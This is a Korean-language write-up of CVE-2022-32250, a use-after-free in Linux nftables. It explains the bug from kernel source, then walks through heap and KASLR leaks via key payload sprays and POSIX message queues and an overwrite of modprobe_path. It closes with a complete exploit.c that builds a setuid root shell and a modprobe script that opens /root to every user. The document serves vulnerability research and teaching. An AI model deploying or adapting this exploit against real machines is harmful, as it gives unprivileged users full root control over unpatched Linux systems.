[Linux Kernel LPE] CVE-2022-32250
by 김형철
Overview
CVE-2022-32250은 nftables에서 NFT_EXPR_STATEFUL
플래그가 설정되지 않은 expression을 set에 추가할 때 Use-After-Free가 발생하여 LPE가 가능한 취약점입니다.
Vulnerability
NFT_MSG_NEWSET
타입 메시지를 netlink 소켓에 전송하면 nf_tables_newset
> nft_set_elem_expr_alloc
이 호출됩니다.
struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
const struct nft_set *set,
const struct nlattr *attr)
{
struct nft_expr *expr;
int err;
expr = nft_expr_init(ctx, attr); // [0]
if (IS_ERR(expr))
return expr;
err = -EOPNOTSUPP;
if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) // [1]
goto err_set_elem_expr;
if (expr->ops->type->flags & NFT_EXPR_GC) {
if (set->flags & NFT_SET_TIMEOUT)
goto err_set_elem_expr;
if (!set->ops->gc_init)
goto err_set_elem_expr;
set->ops->gc_init(set);
}
return expr;
err_set_elem_expr: // [2]
nft_expr_destroy(ctx, expr);
return ERR_PTR(err);
}
이 때 [1]
에서 expr
의 플래그에 NFT_EXPR_STATEFUL
이 설정되어 있지 않으면 [2]
로 이동하여 해당 expr
을 해제하게 됩니다.
[0]
의 nft_expr_init
> nf_tables_newexpr
함수에서 lookup
이나 dynset
expression은 [2]
에서 해제되기 전에 nft_{lookup,dynset}_init
> nf_tables_bind_set
에서 doubly linked list로 연결되기 때문에 dangling pointer가 남아 Use-After-Free 취약점이 발생합니다.
Exploit
Heap address leak
- nft_lookup (
kmalloc-64
사용)
struct nft_expr {
const struct nft_expr_ops *ops; // +0x0
unsigned char data[] // +0x8 ~
__attribute__((aligned(__alignof__(u64))));
};
struct nft_lookup {
struct nft_set *set; // +0x8
u8 sreg; // +0x10
u8 dreg; // +0x11
bool invert; // +0x12
struct nft_set_binding binding; // +0x18 ~
};
struct nft_set_binding {
struct list_head list; // +0x18
const struct nft_chain *chain; // +0x28
u32 flags; // +0x30
};
- user_key_payload
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */ // +0x0
unsigned short datalen; /* length of this data */ // +0x10
char data[] __aligned(__alignof__(u64)); /* actual data */ // +0x18
};
user_key_payload
구조체는 8 < data 길이 ≤ 40
일 때 kmalloc-64
를 사용합니다.
따라서
lookup
expression을 set에 추가해 dangling pointer를 만들고- heap spray로 dangling pointer를
user_key_payload
로 덮은 뒤 - 다른 expression을 set에 추가하면
user_key_payload->data
(0x18 offset)에 nft_lookup->binding->list
(0x18 offset)주소가 적혀 heap address를 leak할 수 있습니다.
KASLR base leak
0x18 offset밖에 못 쓴다는 제약이 있지만 mqueue
를 이용한 익스플로잇이 가능합니다.
- posix_msg_tree_node (
kmalloc-64
사용)
struct posix_msg_tree_node {
struct rb_node rb_node; // +0x0
struct list_head msg_list; // +0x18
int priority; // +0x28
};
- do_mq_timedsend
static int do_mq_timedsend(mqd_t mqdes, const char __user *u_msg_ptr,
size_t msg_len, unsigned int msg_prio,
struct timespec64 *ts)
{
struct fd f;
struct inode *inode;
struct ext_wait_queue wait;
struct ext_wait_queue *receiver;
struct msg_msg *msg_ptr;
struct mqueue_inode_info *info;
ktime_t expires, *timeout = NULL;
struct posix_msg_tree_node *new_leaf = NULL;
int ret = 0;
...
/* First try to allocate memory, before doing anything with
* existing queues. */
msg_ptr = load_msg(u_msg_ptr, msg_len);
if (IS_ERR(msg_ptr)) {
ret = PTR_ERR(msg_ptr);
goto out_fput;
}
msg_ptr->m_ts = msg_len;
msg_ptr->m_type = msg_prio;
/*
* msg_insert really wants us to have a valid, spare node struct so
* it doesn't have to kmalloc a GFP_ATOMIC allocation, but it will
* fall back to that if necessary.
*/
if (!info->node_cache)
new_leaf = kmalloc(sizeof(*new_leaf), GFP_KERNEL);
spin_lock(&info->lock);
if (!info->node_cache && new_leaf) {
/* Save our speculative allocation into the cache */
INIT_LIST_HEAD(&new_leaf->msg_list);
info->node_cache = new_leaf;
new_leaf = NULL;
} else {
kfree(new_leaf);
}
if (info->attr.mq_curmsgs == info->attr.mq_maxmsg) {
...
} else {
receiver = wq_get_first_waiter(info, RECV);
if (receiver) {
pipelined_send(&wake_q, info, msg_ptr, receiver);
} else {
/* adds message to the queue */
ret = msg_insert(msg_ptr, info);
if (ret)
goto out_unlock;
__do_notify(info);
}
inode->i_atime = inode->i_mtime = inode->i_ctime =
current_time(inode);
}
...
mq_timedsend
로 전송한 메시지는 msg_msg
구조체로 posix_msg_tree_node->msg_list
(0x18 offset)에 doubly linked list로 연결됩니다.
- do_mq_timedreceive
static int do_mq_timedreceive(mqd_t mqdes, char __user *u_msg_ptr,
size_t msg_len, unsigned int __user *u_msg_prio,
struct timespec64 *ts)
{
ssize_t ret;
struct msg_msg *msg_ptr;
struct fd f;
struct inode *inode;
struct mqueue_inode_info *info;
struct ext_wait_queue wait;
ktime_t expires, *timeout = NULL;
struct posix_msg_tree_node *new_leaf = NULL;
...
/*
* msg_insert really wants us to have a valid, spare node struct so
* it doesn't have to kmalloc a GFP_ATOMIC allocation, but it will
* fall back to that if necessary.
*/
if (!info->node_cache)
new_leaf = kmalloc(sizeof(*new_leaf), GFP_KERNEL);
spin_lock(&info->lock);
if (!info->node_cache && new_leaf) {
/* Save our speculative allocation into the cache */
INIT_LIST_HEAD(&new_leaf->msg_list);
info->node_cache = new_leaf;
} else {
kfree(new_leaf);
}
if (info->attr.mq_curmsgs == 0) {
...
} else {
DEFINE_WAKE_Q(wake_q);
msg_ptr = msg_get(info);
inode->i_atime = inode->i_mtime = inode->i_ctime =
current_time(inode);
/* There is now free space in queue. */
pipelined_receive(&wake_q, info);
spin_unlock(&info->lock);
wake_up_q(&wake_q);
ret = 0;
}
if (ret == 0) {
ret = msg_ptr->m_ts;
if ((u_msg_prio && put_user(msg_ptr->m_type, u_msg_prio)) ||
store_msg(u_msg_ptr, msg_ptr, msg_ptr->m_ts)) { // copy_to_user
ret = -EFAULT;
}
free_msg(msg_ptr);
}
...
mq_timedreceive
를 호출하면 posix_msg_tree_node->msg_list
에 연결된 첫 번째 msg_msg->data
를 u_msg_ptr
에 저장합니다.
- dangling pointer에
posix_msg_tree_node
를 할당하고 - 다시
lookup
expression을 set에 추가해posix_msg_tree_node->msg_list
를 dangling pointer로 만든 뒤 user_key_payload
로 fakemsg_msg
struct를 spray해posix_msg_tree_node
에 연결하면
mq_timedreceive
를 호출하여 &user_key_payload->data + 0x30
부터의 데이터를 읽을 수 있어 다음 slab object의 데이터를 읽을 수 있습니다.
- user_revoke
void user_revoke(struct key *key)
{
struct user_key_payload *upayload = user_key_payload_locked(key);
/* clear the quota */
key_payload_reserve(key, 0);
if (upayload) {
rcu_assign_keypointer(key, NULL);
call_rcu(&upayload->rcu, user_free_payload_rcu);
}
}
void call_rcu(struct rcu_head *head, rcu_callback_t func)
{
...
head->func = func;
head->next = NULL;
...
user_revoke
를 호출하면 user_key_payload->rcu_head->func
에 user_free_payload_rcu
함수 주소를 적을 수 있기 때문에 &user_key_payload->data + 0x30
을 읽어 KASLR base를 구할 수 있습니다.
Overwrite modprobe_path
msg_get
함수의 unlink 과정을 이용하여 modprobe_path
의 8바이트를 덮을 수 있습니다.
m_list.next->prev = m_list.prev // m_list.next + 8 = m_list.prev
m_list.prev->next = m_list.next // m_list.prev + 0 = m_list.next
modprobe_path
는 기본적으로 /sbin/modprobe
로 설정되어 있어서 m_list.prev
를 modprobe_path - 8 + 1
로, m_list.next
를 (heap_leak & 0xffffffff00000000) + 0x2f706d74
(tmp/\x??\x??\xff\xff)로 설정하면 두 주소 모두 writable하기 때문에 modprobe_path
를 /tmp/\x??\x??\xff\xffprobe
로 덮어쓸 수 있습니다. (0xffff????
는 heap_leak
의 상위 4바이트)
exploit.c
// gcc -o exploit exploit.c -l mnl -l nftnl -w
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <assert.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syscall.h>
#include <mqueue.h>
#include <linux/io_uring.h>
#include <linux/keyctl.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <time.h>
#include <sys/stat.h>
typedef int32_t key_serial_t;
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid)
{
return syscall(__NR_add_key, type, description, payload, plen, ringid);
}
static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}
static inline key_serial_t revoke_key(key_serial_t key)
{
return keyctl(KEYCTL_REVOKE, key, 0, 0, 0);
}
static inline key_serial_t unlink_key(key_serial_t key, key_serial_t ringid)
{
return keyctl(KEYCTL_UNLINK, key, ringid, 0, 0);
}
void unshare_setup(uid_t uid, gid_t gid)
{
int temp;
char edit[0x100];
unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
temp = open("/proc/self/setgroups", O_WRONLY);
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);
return;
}
void add_table(struct mnl_socket* nl, const char *table_name) {
// https://git.netfilter.org/libnftnl/tree/examples/nft-table-add.c
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh;
uint32_t portid, seq, table_seq, family;
struct nftnl_table *t;
struct mnl_nlmsg_batch *batch;
family = NFPROTO_IPV4;
t = nftnl_table_alloc();
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);
// nftnl_table_set_u32(t, NFTNL_TABLE_FLAGS, 0);
seq = time(NULL);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
table_seq = seq;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_table_nlmsg_build_payload(nlh, t);
nftnl_table_free(t);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (nl == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}
}
void add_set(struct mnl_socket *nl, const char *table_name, const char *set_name) {
// https://git.netfilter.org/libnftnl/tree/examples/nft-set-add.c
struct nftnl_set *s;
struct nlmsghdr *nlh;
struct mnl_nlmsg_batch *batch;
uint8_t family;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t seq = time(NULL);
int ret;
family = NFPROTO_IPV4;
s = nftnl_set_alloc();
nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
/* inet service type, see nftables/include/datatypes.h */
nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
if (nl == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, s);
nftnl_set_free(s);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (ret == -1) {
perror("mnl_socket_sendto");
exit(EXIT_FAILURE);
}
}
void add_lookup(struct mnl_socket *nl, const char *table_name, const char *set_name, const char *lookup_set_name) {
uint8_t sreg;
struct nftnl_set *s;
struct nftnl_expr *e;
uint8_t family;
struct nlmsghdr *nlh;
struct mnl_nlmsg_batch *batch;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t seq = time(NULL);
int ret;
sreg = NFT_REG_1;
family = NFPROTO_IPV4;
s = nftnl_set_alloc();
nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
/* inet service type, see nftables/include/datatypes.h */
nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
nftnl_set_set_u32(s, NFTNL_SET_ID, 2);
nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFTA_SET_EXPR);
e = nftnl_expr_alloc("lookup");
nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, sreg);
nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, lookup_set_name);
nftnl_set_add_expr(s, e);
if (nl == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, s);
nftnl_set_free(s);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (ret == -1) {
perror("mnl_socket_sendto");
exit(EXIT_FAILURE);
}
}
const char priv_file[] = "/tmp/shell.c\0";
const char dummy_file[] = "/tmp/dummy\0";
const char priv_context[] = "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\"[+] I am root\");system(\"bash\");}}\x00";
const char dummy_content[] = "\xff\xff\xff\xff";
const char new_modprobe_content[] = "#!/bin/bash\n\nchmod -R 777 /root\nchown root:root /tmp/shell\nchmod 4555 /tmp/shell\n";
void prepare_root_shell(void) {
create_dummy_file();
create_priv_file();
}
void create_dummy_file(void) {
int fd;
fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, dummy_content, sizeof(dummy_content));
close(fd);
}
void create_priv_file(void) {
int fd;
fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, priv_context, sizeof(priv_context));
close(fd);
system("gcc -o /tmp/shell /tmp/shell.c -w");
}
void write_new_modprobe() {
int fd, fd_modprobe;
char modprobe_name[0x10] = {0, };
fd_modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY);
read(fd_modprobe, modprobe_name, 14);
close(fd_modprobe);
printf("[*] current modprobe name: %s\n", modprobe_name);
fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
if (fd < 0) {
perror("open");
exit(EXIT_FAILURE);
}
write(fd, new_modprobe_content, sizeof(new_modprobe_content));
close(fd);
}
void set_cpu_affinity(int cpu_n, pid_t pid) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu_n, &set);
if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
exit(EXIT_FAILURE);
}
}
#define KEY_DESC_MAX_SIZE 40 // 64 - 0x18 (to allocate user_key_payload in kmalloc-64)
int main(void) {
/* initialize */
int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
*sema = 1;
if (fork()){
set_cpu_affinity(1, getpid());
while (*sema);
prepare_root_shell();
write_new_modprobe();
execve("/tmp/dummy", NULL, NULL);
execve("/tmp/shell", NULL, NULL);
}
unshare_setup(getuid(), getgid());
set_cpu_affinity(0, 0);
struct mnl_socket *nl;
nl = mnl_socket_open(NETLINK_NETFILTER);
add_table(nl, "TABLE_1");
add_table(nl, "TABLE_2");
add_table(nl, "TABLE_3");
add_set(nl, "TABLE_1", "SET_1");
add_set(nl, "TABLE_2", "SET_2");
add_set(nl, "TABLE_3", "SET_3");
key_serial_t *id_buffer1 = calloc(50, sizeof(key_serial_t));
key_serial_t *id_buffer2 = calloc(70, sizeof(key_serial_t));
key_serial_t *id_buffer3 = calloc(50, sizeof(key_serial_t));
// https://github.com/torvalds/linux/blob/1722389b0d863056d78287a120a1d6cadb8d4f7b/tools/testing/selftests/mqueue/mq_perf_tests.c
struct mq_attr attr;
mqd_t queue1 = -1;
mqd_t queue2 = -1;
attr.mq_flags = O_NONBLOCK;
attr.mq_maxmsg = 10; // cat /proc/sys/fs/mqueue/msg_max
attr.mq_msgsize = 0x100;
queue1 = mq_open("/stage2", O_RDWR | O_EXCL | O_CREAT | O_NONBLOCK, DEFFILEMODE, &attr);
if (queue1 == -1) {
perror("mq_open");
exit(EXIT_FAILURE);
queue2 = mq_open("/stage3", O_RDWR | O_EXCL | O_CREAT | O_NONBLOCK, DEFFILEMODE, &attr);
if (queue2 == -1) {
perror("mq_open");
exit(EXIT_FAILURE);
}
/* STAGE 1 : leak heap address */
add_lookup(nl, "TABLE_1", "UAF_1", "SET_1"); // make dangling pointer
// heap spraying
char key_desc[KEY_DESC_MAX_SIZE] = "AAAAAAAAA"; // len(key_desc) > 8 -> kmalloc-64
for (uint32_t i=0; i<50; i++) {
*(uint64_t*)(key_desc) += 1;
if ((id_buffer1[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING)) < 0) {
perror("add_key");
exit(EXIT_FAILURE);
}
}
add_lookup(nl, "TABLE_1", "UAF_2", "SET_1"); // overwrite user_key_payload->data to dangling pointer (heap address)
uint8_t buffer[USHRT_MAX] = {0};
int32_t keylen;
uint64_t heap_leak;
for (uint32_t i=0; i<50; i++) {
if (keyctl(KEYCTL_READ, id_buffer1[i], (long)buffer, 0x10, 0) < 0) {
perror("keyctl");
exit(EXIT_FAILURE);
}
if (!strncmp(&buffer[6], "\xff\xff", 2)) {
heap_leak = *(uint64_t*)buffer;
printf("[+] LEAK : 0x%llx\n", heap_leak);
break;
}
}
/* STAGE 2 : leak KASLR address */
add_lookup(nl, "TABLE_2", "UAF_3", "SET_2"); // make dangling pointer
// allocate posix_msg_tree_node to dangling pointer
if (mq_timedsend(queue1, "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ", 0x28, 0, NULL) < 0) {
perror("mq_send");
exit(EXIT_FAILURE);
}
add_lookup(nl, "TABLE_2", "UAF_4", "SET_2"); // make dangling pointer
// link corrupted msg_msg object
char msg[KEY_DESC_MAX_SIZE];
memcpy(msg , &heap_leak, 0x8); // m_list.next
memcpy(msg+0x8 , &heap_leak, 0x8); // m_list.prev
memcpy(msg+0x10, "BBBBBBBB", 0x8); // m_type
*(size_t*)(msg+0x18) = 0x28; // m_ts
// heap spraying
for (int i=0; i<70; i++) {
*(uint64_t*)(msg+0x10) += 1;
if ((id_buffer2[i] = add_key("user", msg, msg, 0x20, KEY_SPEC_PROCESS_KEYRING)) < 0) {
perror("add_key");
exit(EXIT_FAILURE);
}
}
// revoke key -> write user_free_payload_rcu address to rcu->func
for (int i=0; i<70; i++) {
if (revoke_key(id_buffer2[i]) < 0) {
perror("revoke_key");
exit(EXIT_FAILURE);
}
}
// read user_key_payload->rcu->func (user_free_payload_rcu)
uint64_t kaslr_base = 0;
if ((mq_timedreceive(queue1, buffer, 0x100, NULL, NULL) != -1)) {
kaslr_base = *(uint64_t*)buffer - 0x4a80c0;
}
if (((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000) || ((kaslr_base & 0xffff) != 0x00000)) {
printf("[-] failed to leak KASLR base... (0x%llx)\n", kaslr_base);
exit(EXIT_FAILURE);
}
printf("[+] KASLR Base : 0x%llx\n", kaslr_base);
sleep(1);
/* STAGE 3 : overwrite modprobe_path */
// overwrite (modprob_path + 1)
// /sbin/modprobe
// -> /tmp/????probe (???? -> upper 4 bytes of heap_leak)
uint64_t modprobe_path = kaslr_base + 0x186cf20;
printf("[+] modprobe_path addr : 0x%llx\n", modprobe_path);
add_lookup(nl, "TABLE_3", "UAF_5", "SET_3"); // make dangling pointer
// allocate posix_msg_tree_node to dangling pointer
if (mq_timedsend(queue2, "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ", 0x28, 1, NULL) != 0) {
perror("mq_send");
exit(EXIT_FAILURE);
}
add_lookup(nl, "TABLE_3", "UAF_6", "SET_3"); // make dangling pointer
// msg_get(prev, next)
// m_list.next->prev = prev
// m_list.prev->next = next
uint64_t new_modprobe_path = (heap_leak & 0xffffffff00000000) + 0x2f706d74;
*(uint64_t*)(msg) = modprobe_path - 8 + 1; // m_list.next
*(uint64_t*)(msg+8) = new_modprobe_path; // m_list.prev
memcpy(msg+0x10, "CCCCCCCC", 0x8); // m_type
*(size_t*)(msg+0x18) = 0x28; // m_ts
// heap spraying
for (uint32_t i=0; i<50; i++) {
*(uint64_t*)(msg+0x10) += 1;
if ((id_buffer3[i] = add_key("user", msg, msg, 0x20, KEY_SPEC_PROCESS_KEYRING)) < 0) {
perror("add_key");
exit(EXIT_FAILURE);
}
}
// overwrite modprobe_path
mq_timedreceive(queue2, buffer, 0x100, NULL, NULL);
sleep(1);
/* get shell */
*sema = 0;
while(1);
}
References
- https://blog.theori.io/linux-kernel-exploit-cve-2022-32250-with-mqueue-a8468f32aab5
- https://velog.io/@0range1337/1-day-Research-CVE-2022-32250-nftables의-Use-After-Free-취약점을-이용한-리눅스-권한-상승-공격
- https://bsauce.github.io/2022/11/03/CVE-2022-32250/